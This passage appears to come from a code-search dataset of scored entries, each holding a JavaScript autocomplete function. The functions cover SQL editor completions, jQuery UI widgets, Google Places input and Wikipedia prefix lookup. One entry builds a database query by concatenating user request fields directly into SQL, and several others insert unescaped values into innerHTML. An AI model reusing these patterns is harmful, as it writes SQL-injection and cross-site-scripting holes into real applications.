arrPreviousKeyWords[2] === 'VIEW'\n || arrPreviousKeyWords[1] === 'RULE') {\n \n arrQueries = [autocompleteQuery.qualified_views];\n } else if (arrPreviousKeyWords[1] === 'SEARCH' && strPreviousKeyWord === 'CONFIGURATION') {\n arrQueries = [autocompleteQuery.qualified_text_search_configurations];\n } else if (arrPreviousKeyWords[1] === 'SEARCH' && strPreviousKeyWord === 'DICTIONARY') {\n arrQueries = [autocompleteQuery.qualified_text_search_dictionaries];\n } else if (arrPreviousKeyWords[1] === 'SEARCH' && strPreviousKeyWord === 'PARSER') {\n arrQueries = [autocompleteQuery.qualified_text_search_parsers];\n } else if (arrPreviousKeyWords[1] === 'SEARCH' && strPreviousKeyWord === 'TEMPLATE') {\n arrQueries = [autocompleteQuery.qualified_text_search_templates];\n }\n \n // grant or revoke query\n } else if ((/^(GRANT|REVOKE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'TABLE') {\n arrQueries = [autocompleteQuery.qualified_tables];\n } else if (strPreviousKeyWord === 'SEQUENCE') {\n arrQueries = [autocompleteQuery.qualified_sequences];\n } else if (strPreviousKeyWord === 'DOMAIN') {\n arrQueries = [autocompleteQuery.qualified_domains];\n } else if (strPreviousKeyWord === 'FUNCTION') {\n arrQueries = [autocompleteQuery.qualified_functions];\n } else if (strPreviousKeyWord === 'TYPE') {\n arrQueries = [autocompleteQuery.qualified_types];\n }\n \n // EXECUTE\n } else if ((/^(EXECUTE)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_functions];\n \n // VACUUM, TRUNCATE or LOCK\n } else if ((/^(VACUUM|TRUNCATE|LOCK|ANALYZE)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_tables];\n \n // REFRESH MATERIALIZED VIEW\n } else if ((/^(REFRESH\\s*MATERIALIZED\\s*VIEW)/gi).test(strSearchQuery)) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.3) {\n arrQueries = [autocompleteQuery.qualified_materialized_views];\n }\n \n // REINDEX\n } else if ((/^(REINDEX)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'INDEX') {\n arrQueries = [autocompleteQuery.qualified_indexes];\n \n } else if (strPreviousKeyWord === 'TABLE') {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n // SET CONSTRAINTS\n } else if ((/^(SET\\s*CONSTRAINTS)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_constraints];\n \n // COPY\n } else if ((/^(COPY)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_tables, autocompleteQuery.qualified_views];\n \n // CLUSTER\n } else if ((/^(CLUSTER)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n if (arrQueries) {\n // replace {{SCHEMAOID}} in all the queries\n for (i = 0, len = arrQueries.length; i < len; i += 1) {\n arrQueries[i] = arrQueries[i].replace(/\\{\\{SCHEMAOID\\}\\}/gi, currentChoice[0]);\n }\n }\n \n // else if we found a table or view: use columns query\n } else if (currentChoice[2] === 'table' || currentChoice[2] === 'view') {\n // we need some logic to choose between mutiple table or view choices\n \n for (i = 0, len = arrResults.length, arrQueries = []; i < len; i += 1) {\n arrQueries.push(autocompleteQuery.columns.replace(/\\{\\{PARENTOID\\}\\}/gi, arrResults[i][0]));\n }\n }\n \n // if we have queries: open popup\n if (arrQueries && arrQueries.length > 0) {\n autocompletePopupOpen(editor, arrQueries);\n }\n }\n });\n \n // if there's two prefix elements: it could be: SCHEMA.TABLE or SCHEMA.VIEW\n } else if (arrPrefix.length === 2) {\n // these are set outside the websocket call because they might\n // be overridden during the wait for the socket response\n autocompleteGlobals.intSearchStart = intStartCursorPosition;\n autocompleteGlobals.intSearchEnd = intEndCursorPosition;\n autocompleteGlobals.intSearchOffset = 1;\n \n autocompleteGetObjectType(''\n , ['SELECT \\'\\', $notTObeMATCHEDtoken$' + arrPrefix.join('.') + '$notTObeMATCHEDtoken$::regclass::oid']\n , function (arrResults) {\n // if we found an oid: open autocomplete with column list\n if (arrResults) {\n autocompletePopupOpen(editor, [\n autocompleteQuery.columns.replace(/\\{\\{PARENTOID\\}\\}/gi, arrResults[0][1])\n ]);\n }\n });\n }\n }\n }\n }\n }\n}", "title": "" }, { "docid": "7de62f7c314af64df99796b015b151cf", "score": "0.62941974", "text": "function autocomplete(inp, arr) {\n /*the autocomplete function takes two arguments,\n the text field element and an array of possible autocompleted values:*/\n var currentFocus;\n /*execute a function when someone writes in the text field:*/\n inp.addEventListener(\"input\", function(e) {\n var a, b, i, val = this.value;\n /*close any already open lists of autocompleted values*/\n closeAllLists();\n if (!val) { return false;}\n currentFocus = -1;\n /*create a DIV element that will contain the items (values):*/\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n /*append the DIV element as a child of the autocomplete container:*/\n this.parentNode.appendChild(a);\n /*for each item in the array...*/\n for (i = 0; i < arr.length; i++) {\n /*check if the item starts with the same letters as the text field value:*/\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n /*create a DIV element for each matching element:*/\n b = document.createElement(\"DIV\");\n /*make the matching letters bold:*/\n b.innerHTML = \"<strong>\" + arr[i].substr(0, val.length) + \"</strong>\";\n b.innerHTML += arr[i].substr(val.length);\n /*insert a input field that will hold the current array item's value:*/\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n /*execute a function when someone clicks on the item value (DIV element):*/\n b.addEventListener(\"click\", function(e) {\n /*insert the value for the autocomplete text field:*/\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n /*close the list of autocompleted values,\n (or any other open lists of autocompleted values:*/\n closeAllLists();\n document.getElementById('fakeBtn').click();\n });\n a.appendChild(b);\n }\n }\n });\n /*execute a function presses a key on the keyboard:*/\n inp.addEventListener(\"keydown\", function(e) {\n var x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n document.getElementById('fakeBtn').click();\n }\n });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists(elmnt) {\n /*close all autocomplete lists in the document,\n except the one passed as an argument:*/\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n}", "title": "" }, { "docid": "e624cf5c1030036b328632a7732182b3", "score": "0.6285406", "text": "function doAutocomplete(request){\n\tvar db = new TenantDatabase();\n\tvar issueArray = db.select(\"SELECT id , id as value, id||' - '||subject as label FROM ib_issues WHERE project_id='\"+request.pid+\"' AND id!='\"+request.issue_id+\"' AND (lower(id||' - '||subject) LIKE '%\"+request.term.toLowerCase()+\"%')\");\n\tvar displayList = [];\n\tfor (var i = 0; i < issueArray.data.length; i++) {\n\t\tdisplayList.push({\n\t\t\tid : issueArray.data[i].id,\n\t\t\tvalue : issueArray.data[i].value,\n\t\t\tlabel : issueArray.data[i].label\n\t\t});\n\t}\n\tvar jsonString = ImJson.toJSONString (displayList);\n\tvar response = Web.getHTTPResponse ();\n\tresponse.setContentType (\"application / json; charset = UTF-8\");\n\tresponse.sendMessageBodyString (jsonString);\n\t//return displayList;\n}", "title": "" }, { "docid": "dbc4a71696419ce4a1e21728f7bc4c5f", "score": "0.62808156", "text": "function set_autocomplete(e, url) {\n var cache = {};\n $(e).autocomplete({\n minLength: 4,\n autoFocus: true,\n select: function(event, ui) {\n e.myScope.value[e.name] = ui.item.value;\n e.myScope.pk = ui.item.pk;\n },\n source: function(request, response) {\n var term = request.term;\n if (term in cache) {\n response(cache[term]);\n return;\n }\n request.q = request.term;\n $.getJSON(url, request, function(data, status, xhr) {\n cache[term] = data;\n response(data);\n });\n }\n });\n }", "title": "" }, { "docid": "b82b63d8b1ad79fa94473dd91d1a650b", "score": "0.6275992", "text": "function field_name_autocomplete(query_info){\n if (query_info.symbol == 'myvariant.info'){\n url = 'http://myvariant.info/v1/metadata/fields'\n } else if (query_info.symbol == 'mygene.info'){\n url = 'http://mygene.info/v3/metadata/fields'\n } else if (query_info.symbol == 'mydrug.info'){\n url = 'http://c.biothings.io/v1/metadata/fields'\n } else {\n url = null\n }\n $.getJSON(url, function(data){\n field_names = Object.keys(data);\n $(\"[id^='field_name']\").autocomplete({\n source: [field_names]\n })\n })\n}", "title": "" }, { "docid": "8c6d1265e3979275476ad2811bae1fa2", "score": "0.6274318", "text": "function initAutocomplete(){\r\n\t$('.ac_field').each(function(){\r\n\t\tvar sugList = $(this).siblings(\".suggestions\");\r\n\t\t$(this).on(\"input\", function(e) {\r\n\t\t\t\r\n\t\t\tsugList.show();\r\n\t\t\tvar curElem = $(this);\r\n\t\t\tvar text = $(this).val();\r\n\t\t\tif(text.length < 1) {\r\n\t\t\t\tsugList.html(\"\");\r\n\t\t\t\tsugList.listview(\"refresh\");\r\n\t\t\t} else {\r\n\t\t\t\t$.get(url + \"/ajax/searchData.do?type=\" + $(this).attr('data-ac-type') + \"&query=\" + text + \"&limit=10&method=search&attributs=\" + $(this).attr('data-ac-attr') + \"&inAttr=\" + $(this).attr('data-ac-inAttr'), null, function(res){\r\n\t\t\t\t\tvar str = \"\";\r\n\t\t\t\t\tvar resJson = $.parseJSON(res);\r\n\t\t\t\t\tWL.Logger.debug(\"```````````success ac\");\r\n\t\t\t\t\tWL.Logger.debug(resJson.length);\r\n\t\t\t\t\tWL.Logger.debug(resJson[0]['name']);\r\n//\t\t\t\t\tvar employees = res.split(\"\\n\");\r\n\t\t\t\t\tsugList.html(\"\");\r\n\t\t\t\t\tfor(var i=0, len=resJson.length; i<len; i++) {\r\n//\t\t\t\t\t\tvar employeeData = employees[i].split('|');\r\n\t\t\t\t\t\tvar li = $('<li></li>');\r\n\t\t\t\t\t\t$(li).text(resJson[i]['name']);\r\n\t\t\t\t\t\t$(li).attr('caption', resJson[i]['name']);\r\n\t\t\t\t\t\t$(li).attr('emplId', resJson[i]['id']);\r\n\t\t\t\t\t\tif($(curElem).hasClass('selectOne')){\r\n\t\t\t\t\t\t\t$(li).on(\"click\", function(e){\r\n\t\t\t\t\t\t\t\tacSelectOne($(this).attr('caption'), $(this).attr('emplId'), sugList.parent());\r\n\t\t\t\t\t\t\t\tsugList.hide();\r\n\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$(li).on(\"click\", function(e){\r\n\t\t\t\t\t\t\t\tacSelectMany($(this).attr('caption'), $(this).attr('emplId'), sugList.parent());\r\n\t\t\t\t\t\t\t\tsugList.hide();\r\n\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tsugList.append(li);\r\n\t\t\t\t\t}\t\r\n\t\t\t\t},\"text\");\r\n\t\t\t}\r\n\t\t});\r\n//\t\t$(this).on(\"focusout\", function(e) {\r\n//\t\t\tsugList.hide();\r\n//\t\t});\r\n\t});\r\n}", "title": "" }, { "docid": "d8626efc1d6a038fc89aab32c9f8e392", "score": "0.62478274", "text": "function autocomplete(fragment, library) {\n // grep with word boundaries\n let matchResults = search(fragment, library);\n let results = getTopResults(matchResults, 25);\n return results;\n}", "title": "" }, { "docid": "6ab1f8a309b8e3695499e41f36ebfcb8", "score": "0.62477666", "text": "function callAutocomplete(query){\n\t\t\n\t\tconsole.log('Called callAutocomplete.')\n\n\t\tvar title = $('<h3>Calling autocomplete for '+query+'<h3>').appendTo('#admin');\n\n\t\t$.ajax({\n\t\t\turl: 'https://www.google.com/complete/search?',\n\t\t\tdataType: 'jsonp',\n\t\t\tdata: {\n\t\t\t\tq: query,\n\t\t\t\tnolabels: 't',\n\t\t\t\tclient: 'firefox',\n\t\t\t\thl: 'en'\n\t\t\t},\n\t\t\tsuccess: function(data) {\n\t\t\t\tconsole.log(data);\n\t\t\t\tvar results = data[1];\n\t\t\t\t// console.log(results);\n\t\t\t\t\n\t\t\t\t$('#loader-container').remove();\n\t\t\t\tvar list = $('<ul></ul>').appendTo('#admin');\n\n\t\t\t\tfor(var i = 0; i < results.length; i++){\n\t\t\t\t\t// console.log(results[i]);\n\t\t\t\t\t// console.log(replacePlusSign(results[i]));\n\t\t\t\t\tresults[i] = replacePlusSign(results[i]);\n\t\t\t\t\t$(list).append('<li>'+results[i]+'</li>');\n\t\t\t\t}\n\n\t\t\t\t// NEXT\n\t\t\t\tcreateRecord(query, results, function(obj){\n\t\t\t\t\tsaveRecord(obj, nextIteration);\n\t\t\t\t});\n\t\t\t},\n\t\t\terror: function(err){\n\t\t\t\tconsole.log(err)\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "351cfcb300642008e41d339eafaa2a0c", "score": "0.62339437", "text": "autocomplete(event) {\n const { term } = this.highlightedResult()\n if (term && term !== this.props.term) {\n this.props.actions.updateItem(term)\n // fix mainInput placeholder\n const { results, selected } = this.props\n this.mainInputRef.current.onInput(event, results[selected].term)\n event.preventDefault()\n }\n }", "title": "" }, { "docid": "f1dca52f9e5ead925cbb1f9fd5a95fad", "score": "0.62338346", "text": "function createAutocomplete() {\n var $input = $(this);\n\n var options = {\n minLength: 3,\n select: submitAutoCompleteForm,\n source: function (request, response) {\n $.ajax({\n url: $input.attr(\"data-otf-autocomplete\"),\n dataType: \"Json\",\n data: {\n SearchString: $input.val() //valeur à rechercher\n },\n success: function (data) {\n if (data != null && data != \"\") {\n response($.map(data, function (item) {\n return {\n label: item.value,\n value: item.label,\n };\n }));\n }\n else {\n response([{ label: 'No results found.', value: null, id: '' }]);\n }\n },\n error: function (xhr, status, error) {\n alert(error);\n }\n });\n },\n\n };\n\n\n $input.autocomplete(options);\n}", "title": "" }, { "docid": "cb591f654954acf13cfd5f8787929c2b", "score": "0.6232928", "text": "function callbackAutoCompleteSuggestions(result) {\n\tparsed_result = JSON.parse(result)[1];\n\t// print for debugging - remove this for use in production\n\tconsole.log(parsed_result);\n}", "title": "" }, { "docid": "d47d0c8d19170436f30891293b099219", "score": "0.6216796", "text": "function initAutocompleteFriends(){\n $.get(\"restAPI/friendsPosition\", function(data) {\n var availableTags = [];\n data.forEach(function(item){\n availableTags.push(item.firstname + \" \" + item.lastname);\n });\n\n $(\".js-search-box\").autocomplete({\n source: availableTags,\n scroll: true,\n select: function (event, ui) {\n var index = availableTags.indexOf(ui.item.value);\n var position = new google.maps.LatLng(data[index].lat, data[index].lng);\n map.setCenter(position);\n }\n });\n }, 'json');\n}", "title": "" }, { "docid": "b07d74cf2b7eac703ab1b81cfc995e58", "score": "0.62161744", "text": "function discover_autocomplete(app_name){\n\n $('.autocomplete').each(function(){\n var model_name = this.id.substring(3);\n var elem = this;\n model_name = model_name.charAt(0).toUpperCase() + model_name.slice(1);\n $.getJSON('/commons/autocomplete/'+app_name+'/'+model_name,\n function(data){\n $(elem).autocomplete({\n source: data\n });\n\n });\n\n })\n\n}", "title": "" }, { "docid": "c4658f3d5e257a290e8d278a68b8dcf1", "score": "0.6210027", "text": "function autoComplete() {\r\n search = document.createElement(\"input\");\r\n search.id = \"locationField\";\r\n var auto = new google.maps.places.Autocomplete(search);\r\n result.appendChild(search);\r\n //Check for manually input location and display map\r\n google.maps.event.addListener(auto, 'place_changed',\r\n function () {\r\n var place = auto.getPlace();\r\n var lat = place.geometry.location.lat();\r\n var long = place.geometry.location.lng();\r\n getPostcode(lat, long);\r\n }\r\n );\r\n }", "title": "" }, { "docid": "22f6cca08b428cd37988de596cd5815f", "score": "0.62064236", "text": "function autoCompleter(autoComplete) {\n var $listDiv = $(element).next()\n if (!($listDiv.hasClass('autocomp-list'))) {\n $listDiv = $(document.createElement('div'))\n $listDiv.addClass('autocomp-list')\n $(element).after($listDiv)\n }\n if (curText.text == '') {\n $listDiv.hide();\n return\n }\n // off detect\n function offDetect($el) {\n // el = $listDiv\n $el.css({\n position: 'absolute',\n top: $(element).position().top + $(element).outerHeight(),\n left: $(element).position().left,\n width: $(element).outerWidth(),\n padding: $(element).css('padding'),\n backgroundColor: $(element).css('background-color'),\n zIndex: 1,\n border: '1px solid #ccc',\n maxHeight: 250,\n overflowY: 'scroll',\n overflowX: 'hidden'\n })\n\n if ((($el.offset().top - $(window).scrollTop()) + $el.outerHeight()) > window.innerHeight) {\n //bot is off\n $el.css('top', $el.prev().position().top - $el.outerHeight())\n }\n }\n // off detect\n\n var reg = autoComplete.initiator\n var insertChoice = autoComplete.insert || 'text'\n var text = currentText(element).text\n var textNode = currentText(element).el\n\n // update escapeNodes\n if (reg) {\n replaceIt_EscapedTextNodes.forEach(function (e, i) {\n if (textNode.nodeType == 3) {\n if (textNode.isSameNode(e.node)) {\n if (e.escapedFor == reg) {\n var matching = e.node.textContent.match(new RegExp(escapeRegExp(e.escapedFor), 'g'))\n var matchLength = matching ? matching.length : 0\n if (matchLength == 0) {\n var spliced = replaceIt_EscapedTextNodes.splice(i, 1)\n } else if (matchLength < e.escaped) {\n replaceIt_EscapedTextNodes[i] = {\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length || 0,\n escapedFor: reg\n }\n }\n }\n }\n }\n })\n }\n // update escapeNodes\n\n //escape Decision\n\n var start, sliced, matched;\n var ac_escaped = {\n is: false,\n for: null,\n times: null\n }\n if (reg) {\n replaceIt_EscapedTextNodes.forEach(function(e, i) {\n\n if (textNode.nodeType == 3) {\n\n if (textNode.isSameNode(e.node)) {\n ac_escaped.for = e.escapedFor\n\n if (e.escapedFor == reg) {\n var matching = e.node.textContent.match(new RegExp(escapeRegExp(e.escapedFor), 'g'))\n var matchLength = matching ? matching.length : 0\n ac_escaped.times = e.escaped\n if (matchLength == e.escaped) {\n ac_escaped.is = true\n }\n }\n }\n }\n })\n\n var match = text.match(new RegExp(escapeRegExp(reg), 'g'))\n matched = match ? true : false\n start = match ? text.indexOf(reg) : -1\n\n var chopped = text\n var chopInd = chopped.indexOf(reg)\n for (var i = 0; i < ac_escaped.times; i++) {\n chopped = chopped.slice(chopped.indexOf(reg) + 1, chopped.length)\n chopInd += chopped.indexOf(reg)\n }\n start = chopInd + ac_escaped.times\n\n //escape Decision\n\n var beforeText = text.slice(0, start)\n sliced = text.slice(start)\n var end = (sliced.indexOf(' ') == -1) ? sliced.length : sliced.indexOf(' ')\n var afterText = sliced.slice(end)\n sliced = sliced.slice(0, end)\n\n } else {\n start = 0;\n sliced = text;\n matched = true;\n console.log(ac_escaped.is);\n }\n\n if (matched && !ac_escaped.is) {\n var listHtml = autoComplete.listEl(sliced)\n if (listHtml == []) return\n $listDiv.html('')\n $listDiv.show()\n\n function addToListDiv(arr) {\n var elArr = [];\n arr.forEach(function(e) {\n var tempContainer = document.createElement('div')\n tempContainer.innerHTML = e\n var $el = $($(tempContainer).find('*')[0])\n $listDiv.prepend($el)\n $el.addClass('ac-option')\n elArr.push($el)\n $el.click(function (e) {\n if (autoComplete.hasOwnProperty('action')) {\n autoComplete.action(e.currentTarget)\n } else {\n replaceInsert[insertChoice](element, $(e.currentTarget), sliced)\n }\n $(element).off('.ac-keys')\n $el.off('click')\n $listDiv.hide()\n })\n })\n this.remove = function() {\n $(elArr).each(function(i, $el) {\n console.log('el to remove', $el)\n $el.remove()\n })\n }\n return this\n }\n if (listHtml instanceof Array) {\n addToListDiv(listHtml);\n offDetect($listDiv)\n }\n if (listHtml instanceof Promise) {\n listHtml.then(function (listHtmlArray) {\n if (autoComplete.previousResults) autoComplete.previousResults.remove();\n autoComplete.previousResults = addToListDiv(listHtmlArray)\n offDetect($listDiv)\n })\n }\n\n $(document).on('click.ac-elsewhere', function(e) {\n if ($(e.originalEvent.path).hasClass('autocomp-list')) return\n $listDiv.hide()\n if (reg && replaceIt_EscapedTextNodes.length > 0) {\n replaceIt_EscapedTextNodes.forEach(function (e, i) {\n if (textNode.nodeType == 3) {\n if (textNode.isSameNode(e.node)) {\n if (e.escapedFor == reg) {\n replaceIt_EscapedTextNodes[i] = {\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')) ? textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length : 0,\n escapedFor: reg\n }\n } else {\n replaceIt_EscapedTextNodes.push({\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')) ? textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length : 0,\n escapedFor: reg\n })\n }\n } else {\n replaceIt_EscapedTextNodes.push({\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')) ? textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length : 0,\n escapedFor: reg\n })\n }\n }\n })\n $(document).off('.ac-elsewhere')\n $(element).off('.ac-keys')\n }\n })\n }\n if (matched) {\n $(element).off('.ac-keys');\n $(element).on('keydown.ac-keys',function (e) {\n if (e.which == 32 || e.which == 13 || e.which == 27) { //space | enter | esc\n\n if (e.which == 13) e.preventDefault()\n\n if ($listDiv.find('.ac-hlted').length !== 0) {\n // selection\n if (e.which == 32 || e.which == 13) {\n //enter or space\n var $hlted = $listDiv.find('.ac-hlted').eq(0)\n console.log(autoComplete)\n if (autoComplete.hasOwnProperty('action')) {\n autoComplete.action($hlted.get(0))\n } else {\n replaceInsert[insertChoice](element, $hlted, sliced)\n }\n $(element).off('.ac-keys')\n $listDiv.hide()\n e.stopImmediatePropagation()\n return\n }\n }\n\n if (reg && replaceIt_EscapedTextNodes.length > 0) {\n replaceIt_EscapedTextNodes.forEach(function (e, i) {\n if (textNode.nodeType == 3) {\n if (textNode.isSameNode(e.node)) {\n if (e.escapedFor == reg) {\n replaceIt_EscapedTextNodes[i] = {\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length || 0,\n escapedFor: reg\n }\n } else {\n replaceIt_EscapedTextNodes.push({\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length || 0,\n escapedFor: reg\n })\n }\n } else {\n replaceIt_EscapedTextNodes.push({\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length || 0,\n escapedFor: reg\n })\n }\n }\n })\n } else if (reg) {\n replaceIt_EscapedTextNodes.push({\n node: textNode,\n escaped: textNode.textContent.match(new RegExp(escapeRegExp(reg), 'g')).length || 0,\n escapedFor: reg\n })\n }\n\n $(element).change()\n $listDiv.hide()\n }\n if (e.which == 37 || e.which == 38 || e.which == 39 || e.which == 40) { // left | up | right | bottom\n var $hlted;\n var $options = $listDiv.find('.ac-option');\n if ($listDiv.find('.ac-hlted').length == 0) {\n if (e.which == 37 || e.which == 38) {\n $hlted = $options.eq($options.length - 1)\n } else {\n $hlted = $options.eq(0)\n }\n $hlted.addClass('ac-hlted')\n return\n } else {\n $hlted = $listDiv.find('.ac-hlted')\n }\n switch (e.which) {\n case 37:\n $hlted.removeClass('ac-hlted')\n if ($hlted.is(':first-child')) {\n $options.eq($options.length - 1).addClass('ac-hlted')\n return\n }\n $hlted.prev('.ac-option').addClass('ac-hlted')\n break\n case 38:\n $hlted.removeClass('ac-hlted')\n if ($hlted.is(':first-child')) {\n $options.eq($options.length - 1).addClass('ac-hlted')\n return\n }\n $hlted.prev('.ac-option').addClass('ac-hlted')\n break\n case 39:\n $hlted.removeClass('ac-hlted')\n if ($hlted.is(':last-child')) {\n $options.eq(0).addClass('ac-hlted')\n return\n }\n $hlted.next('.ac-option').addClass('ac-hlted')\n break\n case 40:\n $hlted.removeClass('ac-hlted')\n if ($hlted.is(':last-child')) {\n $options.eq(0).addClass('ac-hlted')\n return\n }\n $hlted.next('.ac-option').addClass('ac-hlted')\n break\n default:\n break\n }\n $listDiv.get(0).scrollTop = $hlted.length !== 0 ? $hlted.get(0).offsetTop : null\n\n e.preventDefault()\n return false\n } else {\n $(element).off('.ac-keys')\n }\n })\n }\n return matched\n }", "title": "" }, { "docid": "aa59db25c1b4e62caa845a46439fb5a2", "score": "0.6201418", "text": "function autocompletar(campo,campoNombre,campoId,direccion,form){\n\t$(\"#\"+campo).autocomplete({\n source: direccion,\n minLength:1,\n focus: function( event, ui ) {\n\t $( \"#\"+campoId ).val( ui.item.value );\n\t $( \"#\"+campo ).val( ui.item.label1 ); \n\t $( \"#\"+campoNombre ).val( ui.item.label2 ); \n\t return false;\n },\n\t select: function( event, ui ) {\n\t $( \"#\"+campoId ).val( ui.item.value );\n\t $( \"#\"+campo ).val( ui.item.label1 ); \n\t $( \"#\"+campoNombre ).val( ui.item.label2 ); \n\t comprobarCamposRequired(form);\t\t\n\t return false;\n } \n }).data( \"ui-autocomplete\" )._renderItem = function( ul, item ) {\n return $( \"<li>\" )\n .append( \"<a>\"+ item.label1 + \"</a>\" )\n .appendTo( ul );\n };\n}", "title": "" }, { "docid": "dde0eb9560dfe652655063ee200f1d12", "score": "0.620082", "text": "function setAutoComplete() {\n console.log(\"setAutoComplete()\");\n\n setTimeout(function() {\n $q.all([\n FindElement.byId(\"editTabTissue\"),\n ]).then(function(elements) {\n pageScope.autocompleteBeginning(angular.element(elements[0]), vm.tissues);\n });\n\n // 9/3/20 during alpha per connie remove this for performance reasons\n //$q.all([\n //FindElement.byId(\"editTabStrain\"),\n //]).then(function(elements) {\n //pageScope.autocompleteBeginning(angular.element(elements[0]), vm.strains);\n //});\n //\n\n $q.all([\n FindElement.byId(\"editTabCellLine\"),\n ]).then(function(elements) {\n pageScope.autocompleteBeginning(angular.element(elements[0]), vm.celllines);\n });\n\n }, (500));\n }", "title": "" }, { "docid": "d1358a04b032c3f4415aff883251cd83", "score": "0.61878437", "text": "function tbJob_Search(event, ui) {\n var divisionId = $('#tbDivisionCode').autocompleteEx('selectedValue');\n if (!divisionId) {\n alert('Please select division first');\n return false;\n }\n $(this).autocompleteEx('option', 'parameters', { divisionId: divisionId, term: $(this).val() });\n return true;\n}", "title": "" }, { "docid": "a012791f9e815af0042bd4956d458c5c", "score": "0.61788625", "text": "function autoComplete(query, callback) {\n\n var argsB = \"?QueryClass=&MaxHits=\" + MaxHits + \"&QueryString=\" + query;\n var args = \"?format=json&action=query&list=allpages&apprefix=\" + query + \"&aplimit=\" + MaxHits;\n\n request({\n //uri: \"http://en.wikipedia.org/w/api.php?format=json&action=query&list=allpages&apprefix=ber&aplimit=2\",\n uri: WIKI + args,\n method: \"GET\",\n timeout: 30000,\n followRedirect: true,\n headers: {\n \"Accept\": \"application/json\"\n },\n maxRedirects: 3\n }, function(error, response, body) {\n\n //console.log(error);\n var responseObj = null;\n\n if(!error) {\n\n responseObj = JSON.parse(body);\n\n }\n\n callback(responseObj);\n\n });\n }", "title": "" }, { "docid": "decdc2bf5ea5181eaebbe9f2c7990d8c", "score": "0.6178379", "text": "function selectStation(el) {\n\n var txt = $(el).text();\n\n var inputEl = $(\"#station-search\").val(txt);\n\n var listview = $(\"#stations-listview\");\n $(\"#stations-listview\").listview(\"refresh\"); //this displays the only autocomplete suggestion to matching txt\n}", "title": "" }, { "docid": "6e1435b8ddb9b48f7d49f6c1c10e9e5e", "score": "0.6175657", "text": "function activateSearchAutoSuggest(fileList) {\n let TERM_GROUP = \"\";\n let TITLE_GROUP = \" \";\n\n let autoSuggestItemsUsed = {};\n let autoSuggestItems = [];\n\n // Auto-suggest source 1: tokenize\n for (let i = 0, filesTotal = fileList.length; i < filesTotal; i++) {\n let path = fileList[i];\n let title = Conversion.titleToPathCoverter.getTitleFromPath(path);\n let words = Util.getWordsInText(title);\n for (let j = 0, wordsTotal = words.length; j < wordsTotal; j++) {\n let word = (words[j]).toLowerCase();\n if (word.length > 1 && !autoSuggestItemsUsed[word]) {\n autoSuggestItems.push({ value: word, data: { g: TERM_GROUP } });\n autoSuggestItemsUsed[word] = true;\n }\n }\n }\n\n let autoSuggestHashTags = [];\n\n // Auto-suggest source 2: hashtags\n for (let i = 0, filesTotal = fileList.length; i < filesTotal; i++) {\n let path = fileList[i];\n let title = Conversion.titleToPathCoverter.getTitleFromPath(path);\n let hashTags = _hashTagsExtractor.extractNewHashTags(title);\n\n for (let j = 0, hashTagsTotal = hashTags.length; j < hashTagsTotal; j++) {\n let hashTag = hashTags[j];\n autoSuggestItems.push({ value: hashTag, data: { g: TERM_GROUP } });\n autoSuggestHashTags.push({ value: hashTag, data: hashTag });\n }\n }\n\n // Auto-suggest source 3: use titles\n for (let i = 0, filesTotal = fileList.length; i < filesTotal; i++) {\n let path = fileList[i];\n let title = Conversion.titleToPathCoverter.getTitleFromPath(path);\n autoSuggestItems.push({ value: title, data: { g: TITLE_GROUP } });\n 